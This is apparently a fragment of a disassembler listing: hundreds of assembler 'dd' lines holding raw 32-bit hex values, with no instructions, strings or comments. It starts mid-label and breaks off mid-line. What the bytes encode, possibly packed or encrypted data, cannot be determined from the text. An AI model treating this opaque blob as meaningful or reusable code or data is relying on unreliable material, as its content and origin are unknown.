0D0A1309Dh dd 750570EBh, 1FDEFBF0h, 9C5B840Ah, 72FC7460h, 6F878055h dd 0C8AD3F0Ah, 7114F9ABh, 888C24A0h, 80075342h, 0D6652F7Ch dd 146B02BAh, 66588552h, 9171A841h, 7D0C0B28h, 4FE9DD24h dd 8D47F400h, 3C3FA177h, 988A6029h, 70D8DA1Ah, 0E9D5FC30h dd 3EDFB1E4h, 0F62C6Eh, 3FF677DCh, 24859396h, 80A6FBFAh dd 7B796B61h, 9448DD77h, 19313DACh, 8D2AEB09h, 42F40422h dd 8671BA13h, 0F8519750h, 188CA65Ah, 51D3FFFCh, 92140E6Fh dd 508E7B0h, 50E2C854h, 0F2781800h, 71EAD0F1h, 0EC29CCF4h dd 2A846FA0h, 98D01578h, 9A81C08Dh, 0E934795Ch, 99586900h dd 70372F01h, 852B0497h, 8F78C2D6h, 8CFB3E04h, 50C8C193h dd 527D88EEh, 0B1349101h, 0CCB6B02Ch, 39FFE5D8h, 48E1EC4Fh dd 8D9748Eh, 0F74A04C1h, 87ECA1D6h, 78AD4098h, 0EC9175FCh dd 6906B511h, 0F1420F13h, 0E0DBFF04h, 0E8ECAAC6h, 0B281DE03h dd 9810A006h, 6450C229h, 1376887Ch, 27A7EB0Ah, 8893B83Fh dd 17C00030h, 724E00CFh, 899431A0h, 9A00E385h, 0D31481CDh dd 0A33BAB5h, 0ECF53DCFh, 44AF64E4h, 0A88CFDEAh, 0F06B00FFh dd 70B26F72h, 0C1078D13h, 22471E3Dh, 0D5EC918Dh, 0D9E80852h dd 3F3EC0FBh, 2CBF80A7h, 7A349421h, 0FD523CD0h, 0A12FC301h dd 20A46971h, 4D499A3Fh, 0FDEB0C98h, 0E2379F5h, 0FF3AC18Ah dd 14960A21h, 0D79CE017h, 70154Ch, 92465A7Fh, 0AB4C9374h dd 0C3BDA0A4h, 81CE0C39h, 0D589DC73h, 0A98E6A32h, 0A04459h dd 0B1844097h, 0F0DF482Bh, 40D21926h, 38077303h, 6FE80020h dd 0B3701432h, 26000231h, 0AE74D79Fh, 7B30CBAFh, 296E0037h dd 83A84EA5h, 621DE187h, 0B7805011h, 0C4B9C686h, 18EBEAF1h dd 78E0CFF2h, 9229D613h, 0D809463h, 66EFAFE2h, 984B001Bh dd 37F433F6h, 500A52Eh, 0DFD969C1h, 0F8E9FCDDh, 449D2D6h dd 971F53Ch, 0C8709348h, 28FC9329h, 13C7B282h, 48F9FE27h dd 4C80EDCCh, 56DE7F2Fh, 5ECE020Eh, 0B7F0E623h, 0F58D044h dd 9D3A80D4h, 1C107FBh, 0AD5152E3h, 0D8C555D5h, 0BC165C44h dd 68009C63h, 39ABCED9h, 1BB1024Dh, 0F6FBEB89h, 5073B4A7h dd 0BC5BDFDEh, 31A14334h, 4FAFF480h, 4AB9C085h, 0B6F0E809h dd 760F24E4h, 0A0584229h, 6904F7BEh, 525E0085h, 2572DC5Dh dd 78158E49h, 3BF040F5h, 497BC4C0h, 7181EC62h, 21C0D009h dd 0AAFCC1Ch, 0B1022B7Ch, 0A06A4B37h, 0F142DFB7h, 17198880h dd 0C400B4F1h, 0E7FACCEFh, 0B013D42Ah, 331509B1h, 24104970h dd 370E5446h, 10F86Bh, 360BF0EEh, 356700D2h, 82FFA0DFh dd 9C07B4C1h, 104B502Ch, 711B4010h, 8010908Ah, 0A0BAF108h dd 0A8F6F814h, 2E3CBCh, 0D1813BFFh, 63A93EE2h, 7C376500h dd 4AE64151h, 1D24076Ah, 81D7A4C1h, 0CBE11F3Eh, 29F16FC0h dd 5C7B6702h, 0E06CDF9Ah, 0A56178h, 5EC169D5h, 0C9F81C0Eh dd 453E70B8h, 13EC2h, 2B136735h, 2881F3D8h, 0C085DC7h dd 8CC0D60Ch, 0AC01DEF9h, 0FA37BCA7h, 0B180F10Fh, 9187CF86h dd 0D7059D45h, 0C720B48Fh, 6E4DF602h, 0B0846060h, 8EE720CCh dd 768846FCh, 0E9EA3B2Eh, 644CFABCh, 0F2247783h, 0B0D87FC3h dd 8F241AFCh, 0FF08A4F9h, 0F0D8BDCCh, 0A72B6E80h, 2200A650h dd 0B73560B3h, 8E0348h, 3E01FC28h, 704067E5h, 0F8F0831Fh dd 8135C0ACh, 0E07DC81Eh, 0D69603C9h, 0DEE13C17h, 135AB9Eh dd 0D9B2CD07h, 404FED72h, 44603B1Ch, 28145200h, 25D0DA70h dd 766F3C89h, 979D589Eh, 592406C4h, 537A69DFh, 5C00DDE4h dd 0D6EB6DF0h, 57A8E5Dh, 0A0655488h, 0DE6C80E8h, 0F003F973h dd 2239EB03h, 8871007Bh, 23E9B921h, 5DEE3414h, 4A124C70h dd 7443A819h, 0EF7F8A6h, 7A78E7C9h, 1CFE3C00h, 0C80079E2h dd 1913D30Eh, 40DC724h, 0C5D6B347h, 34A7AAh, 0D00F14CDh dd 7F2DC646h, 26560080h, 70038ADFh, 0D498BEC3h, 2F6F322h dd 8E51A5E2h, 0C8A5EC75h, 0DF84818Ch, 65B07003h, 63FCE740h dd 330E21EFh, 0D360BDE8h, 80312128h, 0DF50F877h, 988BE398h dd 1BFA2C4h, 2582B59Ch, 0F175ABB2h, 0F59FCC30h, 0E918F27Bh dd 0FC3138FEh, 4061DFD6h, 626ABFD4h, 9A0010BBh, 0FB9C039Dh dd 4C2445D6h, 48CB445Eh, 0ED996010h, 0F91A3000h, 0D2A0E813h dd 5CC7EEB1h, 0A13A78FDh, 1FEC4889h, 880F4405h, 43009038h dd 0F884F4D2h, 4719150h dd 79EAF994h, 0F52C8242h, 59A2120h, 36FA0386h, 4EBF8A7Dh dd 0A8C85FB0h, 6CB8B604h, 60B032CFh, 0EB304058h, 38228724h dd 2B7FE140h, 0A0A612DBh, 0C938C8D6h, 54D2B201h, 69703DB5h dd 82377020h, 29A630C3h, 4CA2B909h, 27F30FD5h, 54B01F9Bh dd 0DD31FCh, 4ACF247Ch, 0B4689974h, 0A43D0401h, 0A130A6F0h dd 1C32D061h, 4ED14500h, 0F195D7CBh, 14BC315Ch, 88F0A6F4h dd 372082C0h, 5DE08CF8h, 5700EA73h, 0E775D98Bh, 26B69C8Ah dd 40A44807h, 0D4F72853h, 0DA2C1B03h, 0D03758A0h, 2B093BFh dd 0E02BC6D0h, 848EF6D5h, 390CC586h, 28747B24h, 0C8C38A4Fh dd 130450A4h, 30D05C8Fh, 1D77D68h, 0FBF94FBDh, 72C7EB88h dd 0B903776Ch, 18DAD944h, 0DB5CC07Ah, 84F803E5h, 0FCD48258h dd 0B3C61EEh, 6F021364h, 0B2C03460h, 619F6DAh, 0AEC25238h dd 0D00111B1h, 0D6ECCA31h, 998C7AC1h, 6E79DC59h, 0DD65E800h dd 0BC1BC688h, 0BB1D18F7h, 119D2975h, 0BE427A01h, 0C843FF3Ch dd 39C170h, 0A0BA88CBh, 641E3036h, 0AA19BC07h, 0F8111489h dd 4747F9Bh, 98D6887Dh, 19A96100h, 0B4D10677h, 58A9909Fh dd 7D253FFBh, 8CC74805h, 4E8E5F9Ch, 5B7862A6h, 0FD086B19h dd 0EA2C5004h, 14B0F996h, 0A2811C07h, 0C90B9EFFh, 0D407F1DCh dd 20AE58C6h, 0C8AF2600h, 2C14D6B6h, 8E8B9DAh, 2C267A21h dd 94F7B160h, 7DEC005Fh, 77AE4AFFh, 0AA02A609h, 4FCE22E8h dd 735082C5h, 42C311C1h, 2CC4595Ch, 7613EB0Fh, 5DCEE0DCh dd 40EC78F2h, 484CD310h, 0D44783B4h, 0B892D36Fh, 0E370469h dd 0D2646D73h, 6AC7F842h, 0C0A04CC0h, 71D7FB30h, 5E574Fh dd 85516E7Ch, 763D5C35h, 270041F8h, 0D91F8726h, 5095B281h dd 2032C0A7h, 6B5096F0h, 689A6554h, 11E1FB21h, 740200D8h dd 76EF9EDEh, 0B4B2009Ah, 53E231EDh, 0C09C70A5h, 0DA88E390h dd 44BF0F80h, 4CB45E2h, 331D692Ah, 0A54CC456h, 0A47440B4h dd 0E3E6771h, 194330B9h, 265489E5h, 800DDC7h, 86067A2Ch dd 0B18122h, 0B21762CDh, 5DBE6804h, 2C21A600h, 9941DEF1h dd 798125DFh, 8BCF0AAh, 7480F9FCh, 4C95B79Ah, 0C5A1121Bh dd 0E73C90AEh, 0CF7DFA5Fh, 0F734C701h, 0F4A14FFEh, 0D022B83Dh dd 86BFF02h, 60F25460h, 2B5974h, 57A519D6h, 7B70110Bh dd 51E2420Ch, 4AEAD110h, 0FCFC4BFDh, 0A86A5410h, 0FAE8F704h dd 9CCC206Dh, 72C730D6h, 8C95F1E9h, 0D5234200h, 0C0194971h dd 0D291C8E0h, 0DCC2869Ch, 0C84D545Dh, 4AF5EA2Ch, 87F84BCEh dd 90C88409h, 6D005F09h, 0E3153867h, 0DB9F9Eh, 93EF0C97h dd 6927B12Eh, 101038B1h, 796AD509h, 0B481D41Eh, 648917D7h dd 0D2AC00C8h, 11E4F788h, 5600BAD6h, 7C841D14h, 1C1B831Eh dd 0E881F1h, 5C67E6EEh, 1001DF40h, 87B9FFDAh, 0E7E06B7Eh dd 3CCB0050h, 3027C7E0h, 0E212ECD2h, 8408F88h, 0D774C0E6h dd 0FBF7036Ch, 95EE381Fh, 0F5EB3BCBh, 0C8AE54F8h, 75D2A8A3h dd 2DABD020h, 0FBDE2D09h, 0EDDCD023h, 0E51A3988h, 7014C301h dd 34B232C1h, 0F588E0F2h, 0DB8101A9h, 74380910h, 0C10841ADh dd 0E114415Ah, 6C2252h, 0FF57627Dh, 0C5EF194Fh, 40DE2478h dd 96CC03C0h, 7302C001h, 305104CFh, 0DAE0C39Eh, 13E3049Fh dd 20D96098h, 2BECC2BDh, 0FC22C9F2h, 313300EFh, 0D5756A03h dd 0A4912836h, 9EBA3F80h, 4A66F747h, 0F644978h, 90233848h dd 0FF051900h, 0C0168BFh, 44AF3F21h, 4BDE4080h, 0C878C47Ch dd 0C8390F69h, 770218h, 0A618BC53h, 63CD5A24h, 5C06D15Ah dd 8899DD74h, 0EDA4D34h, 6B502A81h, 416EBCC0h, 8B035CEFh dd 0C71DED9Dh, 0C00EB8C9h, 0D4F74839h, 7490F68Bh, 0D70EACC2h dd 9DAD6984h, 0DCD46E52h, 9CEFE408h, 5D834152h, 6BB2D2E2h dd 240D4A0h, 0D8A103F8h, 0B4C83F32h, 5FEAE5D3h, 73115C93h dd 63934A00h, 8A4EB269h, 14599703h, 0C2587554h, 914CD048h dd 5079BA04h, 8F80EFh, 0DE43C1DFh, 4EC7975Ch, 3CA4F600h dd 691C14B6h, 0AC742850h, 5BC60068h, 920E6DF7h, 4674580Fh dd 59DBFC30h, 37D5135h, 0FDDA12D4h, 0F4E067E2h, 690A1DE3h dd 24AE7426h, 9861C00Ah, 0C827A44h, 0D11048CDh, 0F4AF1772h dd 0A09000F1h, 0C3D622D0h, 5824D091h, 14029C85h, 0FE59E063h dd 3F05B051h, 6D00B33Fh, 4AD46203h, 6C00E8DBh, 0A43A8D90h dd 13CE0FCBh, 224C075Ch, 48A89D58h, 0B8CD14B4h, 20D47684h dd 9BAFFACh, 5C8E5692h, 7587D490h, 0C5C3F804h, 5CC2701Fh dd 1000C2DAh, 7F5968Ch, 99C406ECh, 70A7B7F7h, 4970A4B6h dd 0B700A0B1h, 9E1B6907h, 573A009Ah, 88199FBCh, 0CC9830D2h dd 52E24C16h, 72485492h, 0F42C002Ch, 0AC24D262h, 0D0002D84h dd 8F5ECB1Eh, 10FAB70h, 4CFB7608h, 3832F7F9h, 0A009037Ch dd 0C0890B6Fh, 2C708C6Eh, 1870C951h, 9FE761F4h, 93624200h dd 0EFF96654h, 2D1DF04Ah, 2809436Fh, 0D57B6000h, 1F12DDF6h dd 7D042ABCh, 7CC046F8h, 0B4FBD0DAh, 477180F0h, 3FB0560Ah dd 521D8309h, 0D2480408h, 57BAD540h, 75223A14h, 5CD8908Ch dd 72C84CDBh, 0BC5D29BEh, 5C0D1B2Ch, 84E230DCh, 0B566A90h dd 0BC98781Ch, 0D18870CCh, 403CBCE1h, 0D478FA7Dh, 608EEC26h dd 94F50D00h, 0BC73F6D8h, 0CB9F4004h, 0D3002A1Dh, 51870ED7h dd 9C3A19Eh, 0B4B7470Ch, 0A831500Bh, 6DEA10D0h, 32BC1EF0h dd 60A0ECF7h, 0C9EF9A50h, 204FC725h, 0A3F5B574h, 4B350146h dd 9B756D59h, 48A2E20Ch, 7CECD6EFh, 516C5C0Bh, 7D9C0071h dd 0BED06D24h, 5F91C024h, 6C00FD96h, 0B723D673h, 13C8E3D2h dd 804CA259h, 32DFF944h, 0F827DA1Eh, 41310320h, 5A64A8C2h dd 5829DCE8h, 740114B8h, 0FA4EE623h, 0C8E00309h, 57410083h dd 0F0DA8639h, 0E900BEA8h, 0B770B922h, 34522Dh, 0FA74CB0Ah dd 87C39860h, 0E564105h, 0D442E9F8h, 0E0547C28h, 3EC694CFh dd 9E1C7AE0h, 0F09D5403h, 5C754E00h, 0F236E64Bh, 0DC00549Ch dd 2A6CDD9Eh, 4168BEA6h, 32F81276h, 581D01F4h, 9F836C4Dh dd 0A3169444h, 4AF03049h, 4174C16Ch, 0C87C7811h, 490E924h dd 0E74064B6h, 4EE086D6h, 0B293F0E8h, 0AE65EC04h, 3C945FC3h dd 0E10CA0A2h, 6E11406Fh, 24A925FAh, 1C61E8D2h, 4400817Dh dd 5CC2C0FAh, 0EDFB28Ah, 0C7EB277Ch, 66114CB4h, 0F9EA1B4Ch dd 0E77BE161h, 5D869C50h, 70A1022Fh, 0E0D13EA2h, 0A752E490h dd 0E80FF218h, 18DB479h, 54036A4Dh, 0F0A4201Eh, 1B5DB868h dd 7FC61190h, 288651Dh, 0C23F4873h, 8600C04Eh, 76872E84h dd 29A363Bh, 14959941h, 9189CD58h, 0E2DEC004h, 78AE0078h dd 41D20217h, 57B105D0h, 0F2E1DFA6h, 5FD05078h, 388CE744h dd 0B50135C1h, 0E078C7A7h, 0E3A08040h, 3D77D6Dh, 74521669h dd 35443292h, 0E8001E04h, 0E7842079h, 70F64Fh, 146F1726h dd 0C8FDA408h, 848005C9h, 0F858B8E2h, 74C67502h, 46D91F1Ch dd 0B0B10484h, 0C09E9DEAh, 0DAE420C0h, 0E40460D6h, 680B935Bh dd 0A0FDEC02h, 673A386Ch, 0B2DB0F32h, 9F4A80BCh, 0B94871A7h dd 6BE30164h, 64BF61F0h, 0C028D618h, 50A4587Bh, 0C4EB7C00h dd 80F82F42h, 2147CD7h, 5BF46930h, 98524421h, 9140D0B9h dd 14CB60A7h, 8C286DC5h, 42227894h, 0B5FFD912h, 0C549E401h dd 70546F71h, 90208Ch, 9605ADC9h, 9329DDBCh, 974D0105h dd 64C84948h, 3242000Ch, 0B7AAE436h, 277725B1h, 841D062Eh dd 4D3D5700h, 0EC65D11Ah dd 28AC0387h, 0DC5D5560h, 246FBC91h, 18165CCCh, 0E4D00F13h dd 0B8439D12h, 86FC25h, 3CD5F65h, 0BB2B3A4Ah, 0F1E83900h dd 0DD2F6772h, 40E0BE2Ah, 0A2D866CCh, 76F7F00Fh, 0E3A6A0C9h dd 0B2F5C08h, 0A14CBB33h, 2769690Eh, 0C51418C8h, 37112C00h dd 5C5EA46Bh, 49090040h, 31B357A0h, 0FD00EDA2h, 7E2DB9D1h dd 86AF94Eh, 0EBAEC5DBh, 56D0F200h, 0F88A2EACh, 5980FD27h dd 0AF9A1194h, 72099242h, 0A7B47Ch, 0A1882994h, 0EC1895FFh dd 0B1009216h, 31D60C4Dh, 7752290h, 368FAD74h, 6E411042h dd 494B8711h, 0E0B46840h, 50AD9ACFh, 58DCEBE4h, 0A18058FBh dd 0CB9746B2h, 77C960Eh, 1034807Fh, 1375AC0Ch, 0FEDA878h dd 9E8B8674h, 6C64A48Fh, 0AB04A0F3h, 58BC9A04h, 10ADF820h dd 80022F00h, 88274CA5h, 48A7E8E3h, 5F931D00h, 0DC528714h dd 0B9E023h, 0E0DDD3D5h, 46331F70h, 0E762C900h, 301798C0h dd 20905AFDh, 0DFFE078h, 7694DC00h, 4F400EA9h, 0B2F80111h dd 218E720Ah, 8F3B6095h, 13999200h, 0D7756F01h, 20864F51h dd 0DA4FABFCh, 0D080E8B8h, 0D49CECC9h, 6EF0FF47h, 4F4D937h dd 0C49D58B1h, 75F8A0CCh, 0C04C08F7h, 0C5A90731h, 0F23CBFB6h dd 0F4E909EBh, 5054AA78h, 1443F824h, 7C558074h, 0AA190A93h dd 0FDE52DCh, 0F8C96ABAh, 0BF20C090h, 1F21532Ch, 0C0D06900h dd 1F0490AAh, 57E24824h, 0EE4C5DB3h, 98C74004h, 0A7008B52h dd 6E1391F0h, 5D475Fh, 4A529C2h, 0BEEEB7B9h, 931CAD13h dd 8586C501h, 4D708B69h, 7BCF24A1h, 411F412Ch, 74989638h dd 89F9A888h, 61FB309Fh, 0FA5726h, 0F0845C17h, 45F1A004h dd 0D841D8F1h, 19D4F34Bh, 0D52702BFh, 72809013h, 9B009879h dd 204D2C11h, 0F4F672FBh, 138375AEh, 447AB953h, 56DFF154h dd 7032D413h, 0A47610FFh, 4016F4Fh, 42777B40h, 5CD5F064h dd 81DD7C74h, 0BDE78825h, 58D042B9h, 8CB4FC24h, 15C50011h dd 0C954363h, 88003238h, 0E81235FFh, 308EDE1Ah, 68E0A779h dd 0AA50D785h, 0DE24048h, 466FD616h, 88D0E088h, 2B0EB3E3h dd 0A0DF64FAh, 4052048Ah, 0C00C00A4h, 0BDD24553h, 504B2085h dd 0F9A264C3h, 4C2062C5h, 96C098C8h, 34EA962Ch, 9DB8BCF8h dd 7DCCBDC0h, 0C2458D4h, 3317F8C4h, 0FF02A008h, 0C9C76FB6h dd 990F10Fh, 0DFB469h, 0E0923D3Ch, 0BE6A4h, 544FEA49h dd 551DC89h, 2938C8B8h, 77C200FCh, 0CDDFAF5Bh, 9DF87088h dd 17F44411h, 0AC5220C0h, 6D08C0BAh, 58E5D343h, 460FB30Eh dd 0E89040CFh, 0B3B0E49h, 447A8E59h, 85DA744Bh, 0A5E84B20h dd 0B5E2F1h, 87BF94DEh, 0BC0AE061h, 2777F3Ah, 2081FF5Eh dd 0AE64E04Ah, 0F7E7401Ch, 0A049322Dh, 28D555B0h, 0FFDA000Ah dd 0D188DEC0h, 0F2485FD7h, 96D31018h, 89411DC6h, 8EFFB301h dd 26AA0257h, 14D86FE1h, 0D8BC0001h, 9D0F7EACh, 2C0A5011h dd 0B017C3A7h, 0A398900h, 0FA59D347h, 975C0ACBh, 43D427DEh dd 2EB09EC6h, 361D4C2Fh, 0C78C8D0Ah, 28EF88CFh, 0CAE4CD05h dd 0A6883E88h, 7D0804F4h, 6F8D4194h, 0D0605D4Bh, 64245FD0h dd 0B68C8C48h, 770C600h, 6BED6478h, 55DD007Bh, 0B5DFE854h dd 0A05ED63Eh, 416A3408h, 0E0267365h, 15E778Eh, 0C94D0870h dd 138400C3h, 616D8007h, 0F40439B3h, 0B6B9D9F5h, 79F86C82h dd 0BAC20060h, 5B412007h, 8A0AEF0h, 0FF0181A5h, 15D1AB08h dd 880DBB6h, 45B15CADh, 0E000440Ch, 9F4BBB7Dh, 3C75C54Dh dd 0AAB71FC2h, 82A49028h, 2A00342Fh, 8A7A46ABh, 74DE0E5Fh dd 0AD8D20DBh, 0CF02041Ah, 0CCA96059h, 6704B859h, 0D03E2016h dd 17D23A6h, 0C92F4A00h, 0EEC4C324h, 0F2E5E8F9h, 614E01FCh dd 387D8A8Ch, 0EB31C4C6h, 6D19B107h, 1C41D313h, 19C35BA4h dd 684DB571h, 151180FDh, 0D43E794Eh, 473100AFh, 0CE052EB8h dd 0DC00BD4Bh, 0D6998130h, 0EEBBFF23h, 391A6190h, 80B75B96h dd 7A0233B9h, 1F2E8B31h, 0C09D300Eh, 448A7611h, 7930B712h dd 0CB0528DEh, 62F9006Ah, 0AE9BDA5Fh, 3B3DB647h, 9C658C42h dd 0AA515Dh, 342DB7CDh, 359D1FCBh, 31885B54h, 0A0B60E18h dd 0EE740F29h, 3ABEFA28h, 0D9800BCEh, 143F7323h, 0BF1865D6h dd 9CB107B9h, 0E5FC00CBh, 63F6D7CCh, 0A100F8C2h, 0FDAD128Fh dd 0A0339307h, 1F90D3D0h, 67CF426h, 416255DBh, 4E032A07h dd 0BD03C21Eh, 19BEB8h, 0B39A7BBEh, 586B5BD8h, 80DE893Fh dd 0E6AC807Eh, 796C0531h, 317D60E2h, 0B05B9247h, 82EF1D14h dd 0A46629B9h, 48C8A907h, 759F151h, 2ADB62F4h, 30D49E83h dd 0F029DDB6h, 5D90DF55h, 4FE54600h, 0DAE889CAh, 927F85Fh dd 1ED3A7AEh, 0C6C95C10h, 0CEB4BC00h, 0C48A9FA2h, 5E7D000Ch dd 179005EBh, 0B852EDADh, 0BE4B0E94h, 293600ACh, 79012Dh dd 6956CD2Bh, 92ED78B7h, 5420E20Fh, 0DAFEE011h, 1C89A73h dd 0DB9B0EF8h, 30077BEBh, 2AE290DEh, 597FB931h, 75C05D1Ch dd 0BCCD0009h, 3F1897B5h, 0F112FED2h, 2C2096D6h, 488EC55Eh dd 488758B9h, 0A66B0236h, 0DEB6540h, 0CA784000h, 0CF584DE3h dd 9083541Eh, 61901DECh, 0D44A80C2h, 4EA053B8h, 94E93114h dd 42DD00B4h, 9B3504EAh, 0D67489h, 6E178DA9h, 91BC9363h dd 0B8420D00h, 121BF982h, 0E4AF7747h, 0CAAA1E90h, 0C0BC9505h dd 1751DB0Ch, 46EA11A1h, 86F5901h, 9498DABDh, 299C918Dh dd 0ACC4E031h, 511D1606h, 219A3Ch, 0FCD20518h, 0FF2DD6E9h dd 0DAD70904h, 20CC95FEh, 69166050h, 51AB35B6h, 26DB10C3h dd 4190A02h, 144CBD1Ch, 317C1854h, 1119A214h, 5ED410E2h dd 0B82500EAh, 959649E7h, 0D700CFB7h, 88343EBAh, 3FB4783h dd 9C16042Fh, 0C13BD333h, 0B500F031h, 0B44F3D26h, 92825F84h dd 0B1816F34h, 6E113CC0h, 41070149h, 7E23D5E5h, 0D0C68BC0h dd 28109008h, 74507D5Ch, 34018918h, 288880Ch, 0D6833B27h dd 4D7CEE07h, 0F6C14C12h, 96C42303h, 90D1CB64h, 20647B1h dd 839AF921h, 286130E1h, 2E9CCC58h, 0A3D93802h, 908B6C4Eh dd 0E6FE8Ch, 187A0A5Fh, 450ED5F7h, 0E9CFF474h, 6F0100D0h dd 4D5997F2h, 5783CCB7h, 2900A713h, 0A17E224Eh, 5805466h dd 0A20E649Eh, 31C037DAh, 5459034Eh, 513CC664h, 3AD3C300h dd 1F25039Eh, 0CAF23EBDh, 0C838A706h, 0C9004060h, 0B32B4DB6h dd 0C0DAB0CDh, 77B87539h, 0F300F941h, 0D7E038C4h, 1B3E4C9h dd 584E73AAh, 409DBF5Dh, 0A44BB5CCh, 0B0485C50h, 10E2A4A1h dd 0C9312Eh, 2928BBB5h, 0B7A36853h, 54243600h, 3A936C69h dd 0F8426011h, 493190CEh, 89E8DF30h, 0F5C958AAh, 1C8166D0h dd 0D5DB8F80h, 0A530E8AEh, 0C9897B88h, 0C0A6B680h, 8AE16E39h dd 3B0EA891h, 20205AF5h, 762CB4E0h, 9C100390h, 0D9B7247Bh dd 3C813113h, 768C4900h, 0FD3522h, 53F15EBEh, 89E1BFA8h dd 0C34E5100h, 9C421266h, 0E1596435h, 783CC8B8h, 233CD000h dd 3A943DCFh, 2A3B0068h, 0C4C11A56h, 34FF9ADAh, 993E9194h dd 0C6F90751h, 9520FA39h, 6D325h, 2E60C135h, 0CCBD101Eh dd 1B916800h, 97A5039Bh, 4B85385Ah, 0C529DA00h, 70EB93CFh dd 94A35F00h, 41DF12C9h, 0F3091D0h, 0F52802C3h, 7E0804CBh dd 8B12D21h, 1A810531h, 8009E21Eh, 9A6BB898h, 0A11829C4h dd 61DD1146h, 31EDD200h, 0DE5AFF54h, 0B0EE085h, 4626A256h dd 20F5E087h, 0B4E809EFh, 0FC76E8A1h, 51009F18h, 3FAAC028h dd 5CECFE48h, 5F025437h dd 0F72E7AE2h, 313C9044h, 0EA390EB6h, 30CB42A8h, 41E162B7h dd 7C73807Ch, 473C5524h, 30EC009Bh, 6D06A6E2h, 641904DEh dd 0A0203B9h, 0BD369C63h, 8B86118h, 39ED7739h, 1A80AF6Eh dd 880FB601h, 633DA8F2h, 996A805Fh, 0C518AF6h, 0D1021CC7h dd 30F0026Dh, 0DCC0E352h, 0E80AE37h, 0DAFA1CD2h, 0A1B5D997h dd 9C1FD459h, 37ABB1C0h, 0F51860h, 0B9A319D5h, 890DF8B8h dd 52313300h, 0F253DBE6h, 1104B0ACh, 3BA7B70Eh, 0E2590097h dd 600D4B96h, 0FE3200A5h, 56A23F24h, 8414E193h, 11F0EE52h dd 44759A1Ch, 0A66011DEh, 0D2ED96F9h, 928100CCh, 0B00A5A17h dd 31523C9Ch, 1051EBCh, 27D139B7h, 0DA81512Dh, 0A89F4ECh dd 19A442B5h, 611618A4h, 6062B734h, 0E765E602h, 0E88B4C2Fh dd 4FC15482h, 847D3842h, 4E80B9F6h, 4997DB89h, 0A5065416h dd 98900DA8h, 4ADAE544h, 549028FDh, 19E1CA00h, 0CC03B9FBh dd 4F3E836h, 5627082h, 0FC1F5202h, 8C99B00Ah, 84BC1A88h dd 1F1759DBh, 29225C25h, 331F80A0h, 0BF4FCA02h, 5055DA19h dd 0FC30B541h, 48B70ACFh, 18CAE8h, 2E03312Fh, 79C0A8CEh dd 0B29E9AEh, 0C84730B7h, 0CF308928h, 880724F2h, 0E89E713Ch dd 0DAF21AF0h, 0B6962C99h, 0D33788E8h, 789128A8h, 0F8B8980h dd 2D934A3h, 855E4F0Dh, 0C461ADBFh, 49DAC104h, 7020D6F8h dd 5AF24Bh, 0F947A2D8h, 0B7565CD5h, 0CBFF2302h, 0E181C158h dd 8861500Ch, 5E9C698Bh, 4EB6C818h, 0D98AA400h, 0AF2C9A48h dd 28E43E16h, 7160B53Eh, 6F58D6A1h, 0C3051A00h, 9683EF6Bh dd 0B9403C20h, 1FF3B0D4h, 49101D6Ch, 0D68067E3h, 0A4511934h dd 2ACDE403h, 0D845DEB7h, 38D2EBE5h, 0D69A81B9h, 84C1985Eh dd 87B5137Ch, 4F2C2700h, 8B780506h, 0CC26DA92h, 9D4E4E94h dd 400053E8h, 122EB741h, 5800A993h, 1D1F50DFh, 6AC0B9Fh dd 0D75101F6h, 2E1A111Eh, 0E42992EAh, 7EBA3ABCh, 0EF0FC80Eh dd 0A8234A60h, 0F000DF39h, 0B32965DEh, 5314A4h, 0BB30A71Fh dd 0E5463C19h, 20BC9700h, 0D1EE4DE3h, 6254F09Ah, 9329115Ah dd 2F051481h, 7C432B2h, 436DCA24h, 89DDB9B1h, 9B806C28h dd 1F5D901Ch, 4C4E500h, 0E293452Ah, 0B094B2B2h, 0CC8B516Ch dd 4A00E072h, 612C2E71h, 9102A731h, 0EFCDE5D5h, 29CC3DBh dd 343D459h, 24E05729h, 0B630FACFh, 0BE2A41DFh, 0BAB3011Eh dd 6140241Ah, 14CC34A5h, 0B0CB8900h, 0E3B49733h, 2635F8D5h dd 0C8111Dh, 7D79D231h, 0BD0059ABh, 0EC961ACh, 3D192603h dd 0B81A0816h, 0D4808106h, 0F26C9573h, 3715C700h, 33328E93h dd 56360AE9h, 9481805h, 4125ADBh, 10ABF041h, 22B555Fh dd 2AD3A00Ch, 0B8C1EB1Bh, 0F3A6102Fh, 9F372454h, 0B6BC0894h dd 9B7AB40h, 6AE9077Ch, 110E50E7h, 0F7C6F5E1h, 72B036B3h dd 8902C9F0h, 1181205Eh, 498C48DBh, 8C1A0080h, 2EBC61BFh dd 3C3F9674h, 0E7BE14F2h, 0CE8F418Eh, 2A002C50h, 26736EA0h dd 0A0A6813Ch, 14E8FBE4h, 0B87CE02Eh, 365BBDC1h, 2F7760CFh dd 0BEA12D38h, 0DB19090Eh, 9CD848FFh, 89DC6132h, 22B6B731h dd 5A5000C4h, 9E1A5490h, 1CF02DDh, 37F922A2h, 30B4F840h dd 0AC21934Eh, 0A08B5BCh, 0C4603281h, 18CB9B6h, 0BC9F0308h dd 0A2B1F458h, 5484A300h, 2C5D34C2h, 0A1B40F59h, 31981B05h dd 0C8B2EF11h, 9600B6F8h, 8BAEFC65h, 2CE34083h, 0E8EDA0h dd 846C0EE0h, 9E0935C2h, 0C0141A05h, 5278ADCh, 555848C4h dd 1ED84623h, 65EAF997h, 8D05A6ECh, 0D808C9DBh, 93672008h dd 3DE02111h, 6B3E8AF2h, 0B109AA99h, 1D3C0007h, 91B31405h dd 343880B8h, 4E186742h, 72B99300h, 15C908C7h, 0E8122E6Bh dd 0D8051588h, 0DB604D80h, 8E74B8CCh, 9F9C964Ch, 45073ACFh dd 0A881736Bh, 0A432125Eh, 20BD8F00h, 9C899A43h, 39596705h dd 78C8F02Fh, 40214B50h, 0F5CF14D8h, 0A77416B2h, 1D2DB607h dd 0E3039CC0h, 0A4581230h, 0A70CB58h, 9882DAAEh, 7488B645h dd 16B7E5Fh, 0D6550722h, 55F0359Eh, 9D940CD4h, 58A84D31h dd 5602FC14h, 1AF184C6h, 4134498Bh, 30D448h, 97B5E7D4h dd 45CF3FF6h, 3616B700h, 0BD0789D5h, 36079531h, 9935C166h dd 500C3328h, 9776B888h, 4FECA4E6h, 0A64A9313h, 90116432h dd 7702E8Ch, 836B1866h, 1B6C471Ah, 7F5E0802h, 0D1309B13h dd 6120E7F8h, 949C78B7h, 90B89254h, 0AFF5ED78h, 5605BE05h dd 0D013246Fh, 2EDC80C8h, 747DB07h, 0A0FDE09Fh, 8F6786C2h dd 7AA57901h, 0EA805919h, 0AB0C9841h, 0FB389100h, 0AB841C6h dd 17F80069h, 0B9E2FE95h, 857A48DBh, 4AD5DA00h, 